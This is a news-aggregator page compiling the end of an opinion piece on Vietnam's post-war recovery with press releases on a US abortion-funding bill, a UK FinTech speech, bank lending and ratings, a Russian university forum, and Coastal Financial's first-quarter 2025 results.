The US froze the assets of Vietnam at the very time it was trying to recover from the wholesale devastation of the country.

Tens of millions of much-needed dollars were captured in US banks, enforced by the International Emergency Economic Powers Act (IEEPA). The US also took advantage of its muscle to veto IMF and World Bank loans to Vietnam.

Countries like Australia and New Zealand, to their eternal shame, took part in both the war, the war crimes, and imposing sanctions and other punitive measures subsequently.

The ‘Boat People’ refugee crisis
While millions celebrated the victory in 1975, millions of others were fearful. The period of national unification and economic recovery was painful, typically repressive — when one militarised regime replaces another.

This triggered flight: firstly among urban elites — military officers, government workers, and professionals who were most closely-linked to the US-run regime.

You can blame the Commies for the ensuing refugee crisis but by strangling the Vietnamese economy, refusing to return Vietnamese assets held in the US, imposing an effective blockade on the economy via sanctions, the US deepened the crisis, which saw over two million flee the country between 1975 and the 1980s.

More than 250,000 desperate people died at sea.

Đổi Mới: the move to a socialist-market economy
In 1986, to energise the economy, the government moved away from a command economy and launched the đổi mới reforms which created a hybrid socialist-market economy.

They had taken a leaf out of the Chinese playbook, which under the leadership of Deng Xiaoping (1978 –1989), had moved towards a market economy through its “Reform and Opening Up” policies. Vietnam saw the “economic miracle” of its near neighbour and its leaders sought something similar.

Vietnam’s economy boomed and GDP grew from $18.1 billion in 1984 to $469 billion by 2024, with a per capita GDP at purchasing power parity (PPP) of $15,470 (up from about $300 per capita in the 1970s).

After a sluggish start, literacy rates soared to 96.1 percent by 2023, and life expectancy reached 73.7 years, only a few short of the USA. GDP growth is around 7 percent, according to the OECD.

An unequal society
Persistent inequality suggests the socialist vision has partially faded. A rural-urban divide and a rich-poor divide underlines ongoing injustices around quality of life and access to services but Vietnam’s Gini coefficient — a measure of income inequality — puts it only slightly more “unequal” as a society than New Zealand or Germany.

Corruption is also an issue in the country.

Press controls and political repression
As in China, political power resides with the Party. Freedom of expression — highlighted by press repression — is severely limited in Vietnam and nothing to celebrate.

Reporters Without Borders (RSF) rates Vietnam as 174th out of 180 countries for press freedom and regularly excoriates its strongmen as press “predators”. In its country profile, RSF says of Vietnam: “Independent reporters and bloggers are often jailed, making Vietnam the world’s third largest jailer of journalists”.

Vietnam is forging its own destiny
What is well worth celebrating, however, is that Vietnam successfully got the imperial powers off its back and out of its country. It is well-placed to play an increasingly prosperous and positive role in the emerging multipolar world.

It is part of the World Trade Organisation (WTO), and the ASEAN network, and borders China, giving Vietnam the opportunity to weather any storms coming from the continent of America.

Vietnam today is united and free and millions of ordinary people have achieved security, health, education and prosperity vastly better than their parents and grandparents’ generations were able to.

In the end the honour and glory go to the Vietnamese people.

Ho Chi Minh, the great leader of the Vietnamese people who reached out to the United States, and sought alliance not conflict. Image: www.solidarity.co.nz

I’ll give the last word to Ho Chi Minh, the great leader of the Vietnamese people who reached out to the United States, and sought alliance not conflict. He was rebuffed by the super-power which had a different agenda.

On September 2, 1945, Ho Chi Minh proclaimed the independent Democratic Republic of Vietnam in Hanoi’s Ba Dinh square:

“‘All men are created equal. They are endowed by their Creator with certain inalienable rights, among them are Life, Liberty, and the pursuit of Happiness.’

“This immortal statement was made in the Declaration of Independence of the United States of America in 1776. In a broader sense, this means: All the peoples on the earth are equal from birth, all the peoples have a right to live, to be happy and free.

“… A people who have courageously opposed French domination for more than eight years, a people who have fought side by side with the Allies against the Fascists during these last years, such a people must be free and independent.

“For these reasons, we, members of the Provisional Government of the Democratic Republic of Vietnam, solemnly declare to the world that Vietnam has the right to be a free and independent country — and in fact is so already. The entire Vietnamese people are determined to mobilise all their physical and mental strength, to sacrifice their lives and property in order to safeguard their independence and liberty.”

And, my god, they did.

To conclude, a short poem attributed to Ho Chi Minh:

“After the rain, good weather.

“In the wink of an eye,

the universe throws off its muddy clothes.”

Eugene Doyle is a community organiser and activist in Wellington, New Zealand. He received an Absolutely Positively Wellingtonian award in 2023 for community service. His first demonstration was at the age of 12 against the Vietnam War. This article was first published at his public policy website Solidarity and is republished here with permission.

Article by AsiaPacificReport.nz

MIL OSI Analysis – EveningReport.nz –

April 30, 2025

MIL-OSI USA: Rep. Erin Houchin Introduces the Abortion Funding Awareness Act

Source: United States House of Representatives – Congresswoman Erin Houchin (Indiana 09)

WASHINGTON, D.C. – Congresswoman Erin Houchin (IN-09) has introduced the Abortion Funding Awareness Act, companion legislation to the Senate bill led by Senator Jim Banks (R-IN). This legislation brings long-overdue transparency to how states are using Medicaid funds in connection with abortion providers like Planned Parenthood.

This legislation ensures that American taxpayers are not unknowingly footing the bill for abortion-related services and holds state governments accountable for how federal funds are spent.

“The Abortion Funding Awareness Act exposes how states are funneling tax dollars to abortion providers,” said Congresswoman Erin Houchin. “For too long, the left has used loopholes and a lack of transparency to prop up Planned Parenthood and others who profit from taking innocent lives. This bill says enough is enough.”

Despite federal restrictions on direct abortion funding, states have been quietly steering taxpayer-funded Medicaid dollars to abortion providers under the radar. The Abortion Funding Awareness Act seeks to stop that by requiring states to report all Medicaid payments made to abortion providers, submit annual reports detailing those transactions, and publish this information on their official state websites for the public to see.

“This legislation provides the transparency and accountability the American people deserve. I remain committed to defending rights of conscience and the integrity of taxpayer dollars,” said Houchin.

MIL OSI USA News –

April 30, 2025

MIL-OSI United Kingdom: Chancellor speech at Global Innovate Summit 2025

Source: United Kingdom – Executive Government & Departments

Speech

Chancellor speech at Global Innovate Summit 2025

The Chancellor delivered the keynote speech at the Global Innovate Summit 2025 on 29 April.

Thank you Janine, and good afternoon everyone.

It’s a pleasure to be here today to mark the 11th year of UK FinTech Week …

… brought together once again by Innovate Finance…

…who continue to champion tirelessly our FinTech sector.

As Chancellor, I’ve always said it’s my job to back the builders…

… back the wealth creators…

…and the job creators.

So my job is to back all of you in this room.

After all, it’s thanks to your work that the UK is a world leader in FinTech.

When I was working at the Bank of England 20 years ago…

…FinTech was in its infancy…

…an offshoot of financial services…

…and there was certainly no such thing as FinTech week.

But times have changed, the industry has changed.

Last year, the UK’s FinTech sector attracted $3.6 billion of investment – more than any other country bar the US.

Almost half of Europe’s FinTech unicorns are based here in Britain…

…and roughly a third of all UK unicorns are FinTechs – a higher share than anywhere else.

Companies like Allica Bank and Zilch, who were both recently named among the fastest growing companies in Europe by the Financial Times …

…Or Zopa, for whom 2024 marked another year of extraordinary economic growth.

Last week when I was in Washington for the IMF Spring Meetings…

… I spoke to industry, legislators, and policymakers…

…as well as US firms already operating here in the UK.

I set out our strengths as an open trading nation with trade links around the world…

…and as a nation that can provide political and financial stability and certainty to businesses…

…in an uncertain world.

The UK has a long history of breaking new ground in Financial Services.

We were the first country to develop uniform Open Banking standards…

…and we were one of the first countries to establish a system for near-instant digital payments with the Faster payments system in 2008.

In my Mansion House speech last year, I published the National Payments Vision…

… setting out the government’s ambition for seamless account-to-account payments…

…and demonstrating our commitment to a regulatory environment that cares about managing the burden we put on businesses.

Something that we will build in with the consolidation of the Payment Systems Regulator into the FCA.

The UK is Europe’s leading hub for investment…

…raising more equity capital than the next three European exchanges combined last year.

I am committed to building on these strong foundations…

…with an ambitious programme of reforms.

Last September I chose to extend the UK’s generous venture capital schemes…

… the Enterprise Investment Scheme and the Venture Capital Trust scheme…

…which – alongside the Seed Enterprise Investment Scheme – offer generous tax reliefs…

…in return for investing in British business.

And we will soon publish the final Pension Investment Review, ahead of the introduction of the Pension Schemes Bill…

…where we will legislate to unlock up to £80 billion of investment into companies like yours…

start-up, scale-up, and fast growing businesses.

…delivering a major consolidation of the Defined Contribution market and the Local Government Pension Scheme…

…so that pension funds have sufficient scale to invest in growing industries like FinTech.

I am determined to make sure that the UK remains one of the best places in the world for FinTechs to start-up, scale-up and to list…

…benefitting from our stable and liquid markets.

Last July, the FCA implemented a fundamental rewrite of the UK’s Listing Rules, the biggest reforms in a generation.

These new rules now put the UK in line – or in many cases ahead – of other global markets in giving companies the flexibility to pursue their growth ambitions…

…backing their aspiration…

…and allowing them to raise large amounts of capital more easily.

And for those companies who want to remain private for longer, we are developing the new Private Intermittent Securities and Capital Exchange System – or PISCES…

…which we will legislate for next month.

This is a brand new type of stock exchange for trading private company shares…

…supporting private companies to scale and grow…

…and providing a steppingstone to IPO.

Finally, we’ve reformed the rules to allow greater investment research to be produced on UK listed companies…

…and reducing the burdens imposed on public companies through the UK’s Corporate Governance Code.

I want the UK to be a place where you can take risks…

…innovate and experiment…

…and find new ways to deliver for your customers.

When I met with senior leaders from across the FinTech sector last month…

…you told me about the importance of getting the balance of regulation right…

…especially on digital assets.

I agree.

While the UK will always be committed to high international standards…

…I am determined that our regulatory framework supports economic growth.

That’s why I’m delighted that we are today publishing draft legislation for the UK’s comprehensive regulatory regime for cryptoassets…

…engaging with all of you to ensure that the final legislation – planned for later this year – delivers for government and most importantly for the industry…

…and makes the UK a great place for digital asset companies to invest and innovate.

For the UK to be a world-leader in digital assets…

…international cooperation is vital.

Which is why I discussed continued U.S. and UK engagement with Secretary Bessent last week…

…including further dialogue at the upcoming UK-U.S. Financial Regulatory Working Group in June…

…to support the use and responsible growth of digital assets…

…maintaining the deep historic relationship between the world’s two largest financial centres through this period of significant technological change.

Regulation must support business, not hold it back.

Our regulators were among the first to embrace and develop sandboxes…

…including the Digital Securities Sandbox, where I’m delighted that we already have a broad range of firms all looking at different proposals for tokenising our financial markets.

Last November, I announced that this government will issue a Digital Gilt Instrument…

…an entirely new debt instrument…

…using distributed ledger technology…

this will enable us to experience first-hand the benefits of digital technologies in debt issuance.

And I know that there is appetite to go further.

Last week, Secretary Bessent and I also discussed how our officials could explore opportunities to support industry to innovate cross-border…

…in line with proposals put forward by US Securities and Exchange Commissioner Hester Peirce about a transatlantic sandbox for digital securities…

…potentially allowing greater digital collaboration between capital markets in New York and London.

I’ve talked about what we’ve already done, and some ideas for the future.

Financial services is one of the key growth-driving sectors in the UK’s modern industrial strategy…

….with FinTech as a priority growth opportunity…

…and I look forward to publishing the Financial Services Growth and Competitiveness Strategy at my upcoming Mansion House address…

…which I can today confirm will take place on the 15th July.

At Mansion House last year I set out my vision on economic growth…

…and the new approach required to build sustainable growth…

…on a platform of stability.

At Mansion House this year I’ll talk about how we can go further and faster in realising that growth.

By publishing the Financial Services Growth and Competitiveness Strategy…

…I will set out our strategy for the rest of this parliament and beyond…

…building on our strengths in areas including capital markets, insurance and asset management…

… supporting firms to innovate by ensuring they can access and develop the talent they need…

…and promoting the UK as a great place to do business globally.

Backing the builders in FinTech means improving outcomes for businesses and consumers…

…revolutionising how we invest and trade…

And driving growth and prosperity, here in the UK.

It’s incredible how far Fintech has come in the past decade…

And I’m enormously optimistic about the future.

From the huge growth of the sector that has already taken place…

…to the passion, drive and commitment I see from all of you to make FinTech a huge UK success story…

…it is clear that our job in government is to back you, back the builders, back the change makers all the way.

And I am ready to do just that.

Thank you very much.

Published 29 April 2025

MIL OSI United Kingdom –

April 30, 2025

MIL-OSI: TAB Bank Kicks Off 2025 with $67 Million Loans for More Than 230 Companies in Q1

Source: GlobeNewswire (MIL-OSI)

OGDEN, Utah, April 29, 2025 (GLOBE NEWSWIRE) — TAB Bank kicked off 2025 building value for over 230 companies by closing more than $67 million in financing in Q1. Businesses in the transportation, beauty, specialty finance and real estate industries, along with 70 small businesses, chose TAB Bank to help fund their growth. Types of financing included factoring, asset-based and equipment loans, small business lines of credit and real estate loans.

Highlights of the largest Q1 2025 deals include:

$13 million—Capital Foundry, a Pittsburgh-based specialty finance lender providing various debt and credit products to small and middle-market companies.
$12 million—Commercial real estate loan for a Kentucky-based behavioral health hospital.
$6.5 million— HydroEdge Solutions of Pennsylvania, a leading water transfer and fluid management services provider for the energy industry.
$5 million—An agriculture finance company in Nevada specializing in factoring financing for farmers, agricultural businesses and fresh produce exporters in Mexico.
$4 million—A California company involved in the formulation, product development and manufacturing of beauty products.

In addition, TAB Bank provided 17 companies, primarily in the transportation industry, term loans and lines of credit ranging from $40,000 to $500,000. In 1998, TAB Bank started its business financing over-the-road truckers and the broader transportation industry to help create consistent operational cash flow.

“Companies from various industries trust TAB Bank to build value for their business,” said Justin Hatch, Chief Lending Officer at TAB Bank. “From straightforward lending to unique financing structures, we learn about each individual business to ensure their experience with TAB Bank is excellent and helps them grow their business.”

The bank’s services include working capital, equipment financing, term loans, lines of credit and commercial real estate loans. TAB Bank’s specialists ensure each client is matched with the right financial product for their industry and growth stage. The bank supports businesses with stellar credit and those without, requiring alternative assessments. To determine creditworthiness, the bank considers various factors, such as income and operational history.

For more information on TAB Bank’s capital financing and credit solutions, visit TABBank.com.

About TAB Bank
At TAB Bank, our mission is to unlock dreams with bold financial solutions that empower individuals and businesses nationwide. We are committed to making financial success accessible to everyone through our innovative banking products. Our dedication drives us to continuously improve, ensuring that we meet the evolving needs of our clients with excellence and agility. For over 25 years, we have remained steadfast in offering tailored, technology-enabled solutions designed to simplify and enhance the banking experience.

For more information about how we can help you achieve your financial dreams, visit www.TABBank.com.

Contact Information:
Trevor Morris
Director of Marketing
801-710-6318
trevor.morris@tabbank.com

The MIL Network –

April 30, 2025

MIL-OSI Russia: “The Art of Management: Science, Practice, Project Technologies”: The Results of the V All-Russian Interuniversity Forum

Translation. Region: Russian Federal

Source: State University of Management – Official website of the State –

The 5th All-Russian Interuniversity Forum “The Art of Management: Science, Practice, Project Technologies” has concluded at the State University of Management.

This forum has become an important platform for exchanging experiences in organizing project-based learning in higher education institutions, discussing current issues in project management and introducing innovative approaches in the educational and scientific fields.

The event took place thanks to a fruitful partnership with two authoritative organizations: the project-methodical association “Association of project-oriented organizations of science and higher education” and the professional community “Association of project management “SOVNET”, which unites leading specialists in the field of project management.

The Forum program included three large-scale events that brought together participants of different categories: from first-year students to teaching staff, representatives of administrative and managerial personnel of universities and experts from organizations of the real sector of the economy.

More details about the first day of the Forum are provided in a separate article.

On the second day, the Final of the Student Project Competition took place, which this year for the first time went beyond the SUM and attracted more than 50 external projects from various Russian universities, including: Kazan National Research Technical University named after A.N. Tupolev, Siberian Federal University, Southern Federal University, St. Petersburg State University of Architecture and Civil Engineering, Tyumen State University, Russian University of Transport, MSTU “STANKIN”, Moscow Automobile and Road State Technical University, etc.

Student project teams presented their developments to the expert jury in four nominations: “Business projects (startups)”, “Social projects”, “Consulting projects” and “Research projects”. Thanks to the support of our partners – IPI Lab LLC, Roskachestvo, Bank FINAM JSC, Exity Group, Algorithmika LLC, BPM Soft, Alfa-Bank, Smartika LLC and independent consultants – the participants received valuable recommendations and opportunities for further development of their projects.

A particularly active and interesting event within the framework of the V All-Russian Interuniversity Forum “The Art of Management: Science, Practice, Project Technologies” was the Interuniversity Hackathon “Urban Development Technologies”, which took place at the State University of Management throughout all three days of the Forum.

This year, the Hackathon was held for the fourth time and united 80 participants from GUU, RUT (MIIT), RGUTIS, RTU MIREA, RUDN, SFedU, SPbGASU in various fields of study in 9 teams as participants and team facilitators.

More details about its discovery were given here, and the results were summed up in this article.

The V All-Russian Interuniversity Forum “The Art of Management: Science, Practice, Project Technologies” ended with a ceremonial summing up of the results and awarding of the winners of the GUU Student Project Competition and the interuniversity hackathon “Urban Development Technologies”. Student projects and case solutions were awarded both the highest awards (1-3 places) and individual nominations from our colleagues and partners, as well as audience sympathy prizes.

The State University of Management expresses its sincere gratitude to everyone for their active participation, professionalism and desire for development. We hope that the results of our joint work will find their application in practice, and new acquaintances and ideas will become the basis for further achievements and further development of project-based learning in Russian universities.

Winners of the Student Projects Competition of the State University of Management

Nomination “Business projects (startups)”

1st place – project “Flight controller”, authors of the project – Korolev Semyon Yuryevich and Feoktistov Sergey Vyacheslavovich, MSTU “STANKIN”, curator – Kovalev Ilya Aleksandrovich;

2nd place — project “Development of a wearable device for visualizing data from CNC systems in augmented reality mode”, Author of the project — Sergey Igorevich Karasev, MSTU “STANKIN”, curator — Ilya Aleksandrovich Kovalev;

3rd place – project “RUmaTe”, team of the Russian University of Transport (MIIT) consisting of Mikhailova Elizaveta Alekseevna, Kharin Alexander Nikolaevich, Ushkalo Eduard Stanislavovich, Smaglyuk Kira Sergeevna, Baulina Karina Aleksandrovna, Anikeev Mikhail Andreevich. Curator – Chigarev Valentin Nikolaevich.

Nomination “Social Projects”

1st place — the project “Modern Pensioner”, the project team consisting of Fyodor Romanovich Nazarov, Anastasia Ivanovna Rudchenko, Vlada Vladimirovna Sudakova, Ksenia Dmitrievna Sysoeva, Shonia Sofiko Paataevna. State University of Management, curator — Elena Vadimovna Dianina;

2nd place – project “Promotion of a public digital platform”

3rd place — project “SMM promotion of the social project “Sobriety”, project team consisting of: Akinshina Anna Andreevna, Skripko Artem Vyacheslavovich, Eminova Anna Dmitrievna. Southern Federal University. Curator — Lankina Maria Yuryevna.

Nomination “Consulting projects”

1st place — project “Visualization of agricultural statistics data in the context of municipalities of the Moscow region”, project team consisting of Fedotov Sergey Andreevich, Khomutovskaya Kristina Dmitrievna, Chorbadzhyan Venera Agvanovna. State University of Management, curator — Dolgikh Ekaterina Alekseevna;

2nd place – project “HR in the heart”, project team – Druzhinina Polina Yurievna, Makarkin Matvey Maksimovich, Nguyen Ngoc Ha Phuong, Nguyen Thi Thanh Huyen, Nikitina Ksenia Dmitrievna, Fastovskaya Milana Sukhrobovna. State University of Management, Curator – Lobacheva Anastasia Sergeevna;

3rd place — project “Development of an application for maintaining results of online meetings”, project team: Belova Diana Dmitrievna, Mizgireva Kristina Yaroslavovna, Redikultsev Gleb Sergeevich. State University of Management. Curator — Terekhova Anna Evgenievna.

Nomination “Research Projects”

1st place – project “Software product for assessing the condition of power transmission line insulators”, author of the project – Radmir Rafilevich Mugletdinov, Kazan State Power Engineering University, curator – Aidar Khaidarovich Sabitov;

2nd place — project “Development of a methodology for valuation zoning taking into account regional characteristics of the territory for the purposes of state cadastral valuation”, author of the project — Alina Pavlovna Illarionova. St. Petersburg State University of Architecture and Civil Engineering, Curator — Yana Aleksandrovna Volkova;

3rd place — project “Russian and foreign experience of legal protection of traditional spiritual and moral values”, author of the project – Karina Igorevna Meshcheryakova. State University of Management. Curator – Svetlana Evgenievna Titor.

Subscribe to the TG channel “Our GUU” Date of publication: 04/29/2025

Please note: This information is raw content directly from the source of the information. It is exactly what the source states and does not reflect the position of MIL-OSI or its clients.

MIL OSI Russia News –

April 30, 2025

MIL-OSI: Moody’s left LHV Group’s ratings unchanged

Source: GlobeNewswire (MIL-OSI)

The rating agency Moody’s Investors Service affirmed AS LHV Pank’s and AS LHV Group’s raitings, leaving LHV Pank’s long-term deposit rating to A3 level (with positive outlook) and LHV Group’s long-term issuer rating to Baa3 (with a positiive outlook). These ratings indicate LHV’s strong financial position and capitalization as well as express the expectation of further strengthening of solidity.

Moody’s has assigned AS LHV Group long-term issuer ratings:

Long-term issuer rating Baa3
Senior unsecured rating Baa3
Outlook of the ratings is positive

Moody’s affirmed the raitings assigned to AS LHV Pank:

Long- and short-term counterparty risk assessment of A3(cr)/Prime-2(cr)
Long- and short-term counterparty risk rating of A3/Prime-2
Long-term bank deposit rating A3
Short-term bank deposit rating Prime-2
The long-term deposit rating carries a positive outlook

Additional information: www.moodys.com

LHV Group is the largest domestic financial group and capital provider in Estonia. LHV Group’s key subsidiaries are LHV Pank, LHV Varahaldus, LHV Kindlustus, and LHV Bank Limited. The Group employs over 1,160 people. As at the end of March, LHV’s banking services are being used by 465,000 clients, the pension funds managed by LHV have 113,000 active customers, and LHV Kindlustus is protecting a total of 174,000 clients. LHV Bank Limited, a subsidiary of the Group, holds a banking licence in the United Kingdom and provides banking services to international financial technology companies, as well as loans to small and medium-sized enterprises.

Priit Rum
Communications Manager
Phone: +372 502 0786
Email: priit.rum@lhv.ee

The MIL Network –

April 30, 2025

MIL-OSI: Coastal Financial Corporation Announces First Quarter 2025 Results

Source: GlobeNewswire (MIL-OSI)

EVERETT, Wash., April 29, 2025 (GLOBE NEWSWIRE) — Coastal Financial Corporation (Nasdaq: CCB) (the “Company”, “Coastal”, “we”, “our”, or “us”), the holding company for Coastal Community Bank (the “Bank”), through which it operates a community-focused bank segment (“community bank”) with an industry leading banking as a service (“BaaS”) segment (“CCBX”), today reported unaudited financial results for the quarter ended March 31, 2025, including net income of $9.7 million, or $0.63 per diluted common share, compared to $13.4 million, or $0.94 per diluted common share, for the three months ended December 31, 2024 and $6.8 million, or $0.50 per diluted common share, for the three months ended March 31, 2024.

Management Discussion of the First Quarter Results

“First quarter of 2025 was impacted by elevated expenses related to the onboarding and implementation costs of several new partnerships and products within CCBX and investments in technology, however, we anticipate that the revenue and earnings from these investments will be highly valuable over the long-term,” stated CEO Eric Sprink. “We saw high quality deposit growth of $205.9 million during the first quarter, and our CCBX program fee income continued to increase, up 55.2% compared to the same period in 2024.”

Key Points for First Quarter and Our Go-Forward Strategy

Positive Growth Trends within CCBX Continue. As of March 31, 2025 we had two partners in testing, three in implementation/onboarding, one signed LOI and have an active pipeline of new partners and new products with existing partners for the balance of 2025 and into 2026. Total BaaS program fee income was $6.3 million for the three months ended March 31, 2025, an increase of $724,000, or 13.0%, from the three months ended December 31, 2024. We remain fully indemnified against fraud and 98.8% indemnified against credit risk with our CCBX partners as of March 31, 2025.

Investments for Growth Continues. Total noninterest expense of $72.0 million was up $4.6 million, or 6.8%, as compared to $67.4 million in the quarter ended December 31, 2024, mainly driven by higher salaries and employee benefits, legal and professional expenses and BaaS loan expense partially offset by lower BaaS fraud expense. As we increase the number of new CCBX partners and products with existing partners launching in 2025, we expect that expenses will tend to be front-loaded with a focus on compliance and operational risk before any new programs or products generate significant revenues. We remain focused on building our future revenue sources.

Strong Deposit Growth, Off Balance Sheet Activity Update. Total deposits of $3.79 billion, an increase of $205.9 million, or 5.7%, over the quarter ended December 31, 2024, driven primarily by growth in CCBX partner programs. On April 1, 2025 we launched the T-Mobile deposit program and those deposits will be reflected in the second quarter deposit totals. During the first quarter of 2025, we sold $744.6 million of loans, the majority of which were credit card receivables. We retain a portion of the fee income on sold credit card loans. As of March 31, 2025 there were 237,024 credit cards with fee earning potential, an increase of 54,575 compared to the quarter ended December 31, 2024 and an increase of 210,723 from March 31, 2024.

First Quarter 2025 Financial Highlights

The tables below outline some of our key operating metrics.

	Three Months Ended
(Dollars in thousands, except share and per share data; unaudited)	March 31, 2025			December 31, 2024			September 30, 2024			June 30, 2024			March 31, 2024
Income Statement Data:
Interest and dividend income	$	104,907		$	102,448		$	105,165		$	97,422		$	91,742
Interest expense		28,845			30,071			32,892			31,250			29,536
Net interest income		76,062			72,377			72,273			66,172			62,206
Provision for credit losses		55,781			61,867			70,257			62,325			83,158
Net interest (expense)/ income after provision for credit losses		20,281			10,510			2,016			3,847			(20,952	)
Noninterest income		63,477			74,100			78,790			69,138			86,176
Noninterest expense		71,989			67,411			64,424			57,964			56,509
Provision for income tax		2,039			3,832			2,926			3,425			1,915
Net income		9,730			13,367			13,456			11,596			6,800

	As of and for the Three Month Period
	March 31, 2025			December 31, 2024			September 30, 2024			June 30, 2024			March 31, 2024
Balance Sheet Data:
Cash and cash equivalents	$	624,302		$	452,513		$	484,026		$	487,245		$	515,128
Investment securities		46,991			47,321			48,620			49,213			50,090
Loans held for sale		42,132			20,600			7,565			—			797
Loans receivable		3,517,359			3,486,565			3,413,894			3,321,813			3,195,101
Allowance for credit losses		(183,178	)		(176,994	)		(171,674	)		(148,878	)		(139,941	)
Total assets		4,339,282			4,121,208			4,064,472			3,959,549			3,863,062
Interest bearing deposits		3,251,599			3,057,808			3,047,861			2,949,643			2,888,867
Noninterest bearing deposits		539,630			527,524			579,427			593,789			574,112
Core deposits ⁽¹⁾		3,321,772			3,123,434			3,190,869			3,528,339			3,447,864
Total deposits		3,791,229			3,585,332			3,627,288			3,543,432			3,462,979
Total borrowings		47,923			47,884			47,847			47,810			47,771
Total shareholders’ equity		449,917			438,704			331,930			316,693			303,709

Share and Per Share Data ⁽²⁾:
Earnings per share – basic	$	0.65		$	0.97		$	1.00		$	0.86		$	0.51
Earnings per share – diluted	$	0.63		$	0.94		$	0.97		$	0.84		$	0.50
Dividends per share		—			—			—			—			—
Book value per share ⁽³⁾	$	29.98		$	29.37		$	24.51		$	23.54		$	22.65
Tangible book value per share ⁽⁴⁾	$	29.98		$	29.37		$	24.51		$	23.54		$	22.65
Weighted avg outstanding shares – basic		14,962,507			13,828,605			13,447,066			13,412,667			13,340,997
Weighted avg outstanding shares – diluted		15,462,041			14,268,229			13,822,270			13,736,508			13,676,917
Shares outstanding at end of period		15,009,225			14,935,298			13,543,282			13,453,805			13,407,320
Stock options outstanding at end of period		163,932			186,354			198,370			286,119			309,069

See footnotes that follow the tables below

	As of and for the Three Month Period
	March 31, 2025			December 31, 2024			September 30, 2024			June 30, 2024			March 31, 2024
Credit Quality Data:
Nonperforming assets ⁽⁵⁾ to total assets		1.30	%		1.52	%		1.63	%		1.34	%		1.42	%
Nonperforming assets ⁽⁵⁾ to loans receivable and OREO		1.60	%		1.80	%		1.94	%		1.60	%		1.72	%
Nonperforming loans ⁽⁵⁾ to total loans receivable		1.60	%		1.80	%		1.94	%		1.60	%		1.72	%
Allowance for credit losses to nonperforming loans		325.0	%		282.5	%		257.2	%		278.6	%		254.3	%
Allowance for credit losses to total loans receivable		5.21	%		5.08	%		5.03	%		4.45	%		4.35	%
Gross charge-offs	$	53,686		$	61,585		$	53,305		$	55,207		$	58,994
Gross recoveries	$	5,486		$	5,223		$	4,516		$	2,254		$	2,036
Net charge-offs to average loans ⁽⁶⁾		5.57	%		6.56	%		5.60	%		6.54	%		7.30	%

Capital Ratios:
Company
Tier 1 leverage capital		10.67	%		10.78	%		8.40	%		8.31	%		8.24	%
Common equity Tier 1 risk-based capital		12.13	%		12.04	%		9.24	%		9.03	%		8.98	%
Tier 1 risk-based capital		12.22	%		12.14	%		9.34	%		9.13	%		9.08	%
Total risk-based capital		14.73	%		14.67	%		11.89	%		11.70	%		11.70	%
Bank
Tier 1 leverage capital		10.57	%		10.64	%		9.29	%		9.24	%		9.19	%
Common equity Tier 1 risk-based capital		12.12	%		11.99	%		10.34	%		10.15	%		10.14	%
Tier 1 risk-based capital		12.12	%		11.99	%		10.34	%		10.15	%		10.14	%
Total risk-based capital		13.42	%		13.28	%		11.63	%		11.44	%		11.43	%

⁽¹⁾	Core deposits are defined as all deposits excluding brokered and time deposits.
⁽²⁾	Share and per share amounts are based on total actual or average common shares outstanding, as applicable.
⁽³⁾	We calculate book value per share as total shareholders’ equity at the end of the relevant period divided by the outstanding number of our common shares at the end of each period.
⁽⁴⁾	Tangible book value per share is a non-GAAP financial measure. We calculate tangible book value per share as total shareholders’ equity at the end of the relevant period, less goodwill and other intangible assets, divided by the outstanding number of our common shares at the end of each period. The most directly comparable GAAP financial measure is book value per share. We had no goodwill or other intangible assets as of any of the dates indicated. As a result, tangible book value per share is the same as book value per share as of each of the dates indicated.
⁽⁵⁾	Nonperforming assets and nonperforming loans include loans 90+ days past due and accruing interest.
⁽⁶⁾	Annualized calculations.

Key Performance Ratios

Return on average assets (“ROA”) was 0.93% for the quarter ended March 31, 2025 compared to 1.30% and 0.73% for the quarters ended December 31, 2024 and March 31, 2024, respectively. ROA for the quarter ended March 31, 2025, decreased 0.37% and increased 0.19% compared to December 31, 2024 and March 31, 2024, respectively. Noninterest expenses were higher for the quarter ended March 31, 2025 compared to the quarter ended December 31, 2024 largely due to higher salaries and employee benefits, due to annual pay increases and for new hires that contribute to our continued investments in growth, technology and risk management, legal and professional expenses and increased BaaS loan expense, which is directly related to interest earned on CCBX loans. These increases were partially offset by a decrease in BaaS fraud expense. Noninterest expenses were higher than the quarter ended March 31, 2024 due primarily to an increase in salaries and employee benefits, data processing and software licenses and legal and professional expenses, all of which are related to the growth of Company and investments in technology and risk management.

Legal and professional fees in first quarter were elevated in multiple areas including compliance, BSA, audit, legal and projects as we prepare for new partners, and we may experience a similar level of expenses again in second quarter before returning to a more historical level in third quarter 2025.

Yield on earning assets and yield on loans receivable increased 0.07% and 0.23%, respectively, for the quarter ended March 31, 2025 compared to the quarter ended December 31, 2024. Average loans receivable as of March 31, 2025 increased $92.2 million compared to December 31, 2024 as net CCBX loans continue to grow, despite selling $744.6 million in CCBX loans during the quarter ended March 31, 2025.

The following table shows the Company’s key performance ratios for the periods indicated.

	Three Months Ended
(unaudited)	March 31, 2025			December 31, 2024			September 30, 2024			June 30, 2024			March 31, 2024

Return on average assets ⁽¹⁾		0.93	%		1.30	%		1.34	%		1.21	%		0.73	%
Return on average equity ⁽¹⁾		8.91	%		14.90	%		16.67	%		15.22	%		9.21	%
Yield on earnings assets ⁽¹⁾		10.32	%		10.24	%		10.79	%		10.49	%		10.21	%
Yield on loans receivable ⁽¹⁾		11.33	%		11.12	%		11.44	%		11.22	%		11.01	%
Cost of funds ⁽¹⁾		3.11	%		3.24	%		3.62	%		3.60	%		3.52	%
Cost of deposits ⁽¹⁾		3.08	%		3.21	%		3.59	%		3.58	%		3.49	%
Net interest margin ⁽¹⁾		7.48	%		7.23	%		7.42	%		7.12	%		6.92	%
Noninterest expense to average assets ⁽¹⁾		6.87	%		6.54	%		6.42	%		6.05	%		6.10	%
Noninterest income to average assets ⁽¹⁾		6.06	%		7.19	%		7.85	%		7.22	%		9.30	%
Efficiency ratio		51.59	%		46.02	%		42.65	%		42.84	%		38.08	%
Loans receivable to deposits ⁽²⁾		93.89	%		97.82	%		94.33	%		93.75	%		92.29	%

⁽¹⁾	Annualized calculations shown for quarterly periods presented.
⁽²⁾	Includes loans held for sale.

Management Outlook; CEO Eric Sprink

“Looking ahead to the balance of 2025, elevated onboarding activity is expected to continue into the second quarter as our CCBX pipeline remains very robust with high quality and potentially impactful opportunities. We plan to continue to invest in and enhance our technology and risk management infrastructure to support our next phase of CCBX growth. Our risk reduction efforts, namely our fraud and credit indemnifications via our partners, continued to function as expected despite the volatile macroeconomics conditions towards the end of first quarter. These efforts, plus additional growth in noninterest income should help mitigate the uncertainties associated with fluctuating interest rates and provide a stable, recurring income source.” said CEO Eric Sprink.

